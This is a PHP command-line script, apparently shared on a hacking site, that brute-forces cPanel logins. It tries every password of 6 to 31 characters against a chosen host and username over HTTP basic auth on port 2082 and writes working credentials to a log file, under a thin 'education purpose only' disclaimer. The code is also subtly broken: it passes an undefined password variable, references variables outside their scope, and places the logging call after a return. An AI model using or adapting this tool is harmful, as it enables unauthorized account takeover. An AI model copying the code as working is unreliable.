cPanel Bruteforce

<?php
error_reporting(0);
echo "\n___________               __                __       	";
echo "\n\_   _____/__  _________ |  |   ____  __  _|  |__		";
echo "\n |    __)_\  \/  /\____ \|  |  /  _ \|  |/_    _/		";
echo "\n |        \>    < |  |_> >  |_(  <_> )  |  |  |__		";
echo "\n/_______  /__/\_ \|   __/|____/\____/|__|  \____/		";
echo "\n        \/      \/|__|                             	";
echo "\nCoded by jasman@ihsana.com\n";
echo "\nFor education purphose only, If you do not agree, ";
echo "\nplease remove.\n";
echo "\nCredit jangan dibuang mas bro\n";

function logs($reason,$ext = "txt"){
    if(!is_dir("files")):mkdir("files","0493");
    endif;
    $fp = fopen("files/".date("m-d-y").".".$ext, "a+");
    fwrite($fp, "**|cpanel|".date("g:i:sA")."|".$reason."|\n");
}

function cpanel_check($host,$user,$pass,$timeout){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://".$host.":2082");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
    curl_setopt($ch, CURLOPT_USERPWD, $user.":".$pass);
    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FAILONERROR, 1);
    $data = curl_exec($ch);
    if ( curl_errno($ch) == 28 ) {
        return "Request Time Out";
        exit;
        }
    elseif ( curl_errno($ch) == 0 ){
    return $user.":".$pass;
        logs($user.":".$pass,"txt");
        exit() ;
    }
    curl_close($ch);
}

if(isset($_SERVER['argv'][1])){
    $host = $_SERVER['argv'][1];
    $username = $_SERVER['argv'][2];

	echo "\nBrute Force";
	echo "\n".$_SERVER['argv'][1];

    $charset  = "1234567890";
    $charset .= "abcdefghijklmnopqrstuvwxyz";
    $charset .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $charset .= " ~!@#$%^&*()_+|`\={}[]:;'<>,./?";

    $charset_length = strlen($charset);
    function check($string,$host,$username){

        echo "\n".$host. " => ". $string ;
        cpanel_check($host,$username,$password,"3600");
    }

    function recurse ($width,$position,$base_str,$str){
        global $charset, $charset_length ;
        for ($i = 0 ; $i < $charset_length ; $i++) {
            if ($position < $width - 1){
               recurse($width,$position+1,$base_str.$charset[$i],$str);
            };
            check($base_str.$charset[$i],$host,$username);
        }
    }

	for ($i = 6 ; $i < 32 ; $i++) {
		recurse($i,0,"",$str);
	}

} else {
	echo "\nNeed Help???";
	echo "\n";
}

?>